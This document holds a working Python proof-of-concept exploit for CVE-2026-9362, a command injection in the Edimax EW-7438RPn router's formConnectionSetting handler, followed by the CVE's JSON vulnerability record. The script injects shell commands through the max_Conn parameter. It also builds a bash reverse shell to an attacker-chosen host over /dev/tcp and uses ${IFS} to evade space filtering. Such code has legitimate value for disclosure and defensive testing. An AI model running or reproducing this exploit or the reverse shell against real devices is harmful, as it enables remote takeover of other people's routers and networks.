CVE-2026-9362

# CVE-2026-9362 PoC - Edimax EW-7438RPn Command Injection # Target: Edimax EW-7438RPn 1.12 # Vulnerability: Command Injection in /goform/formConnectionSetting # Parameters: max_Conn, timeOut import requests import argparse def exploit(target_ip, target_port=80, cmd='id'): """ Exploit CVE-2026-9362 command injection vulnerability Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) cmd: Command to execute on target """ url = f"http://{target_ip}:{target_port}/goform/formConnectionSetting" # Inject command via max_Conn parameter # Using semicolon to chain commands payload = f"1;{cmd}" data = { 'max_Conn': payload, 'timeOut': '30' } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") def reverse_shell(target_ip, attacker_ip, attacker_port=4444): """ Generate reverse shell payload for CVE-2026-9362 Args: target_ip: Target device IP attacker_ip: Attacker listening IP attacker_port: Attacker listening port """ cmd = f'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1' # URL encode the command encoded_cmd = cmd.replace(' ', '${IFS}') exploit(target_ip, 80, encoded_cmd) if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-9362 Exploit') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port') parser.add_argument('-c', '--cmd', default='id', help='Command to execute') args = parser.parse_args() exploit(args.target, args.port, args.cmd)

{"cve": {"id": "CVE-2026-9362", "sourceIdentifier": "[email protected]", "published": "2026-05-24T08:16:14.040", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Edimax EW-7438RPn 1.12. This vulnerability affects the function formConnectionSetting of the file /goform/formConnectionSetting of the component Setting Handler. Such manipulation of the argument max_Conn/timeOut leads to command injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/EDIMAX-BR-6675nD-formConnectionSetting-34b53a41781f807a9c88e746d24540cd?source=copy_link", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811553", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365325", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365325/cti", "source": "[email protected]"}]}}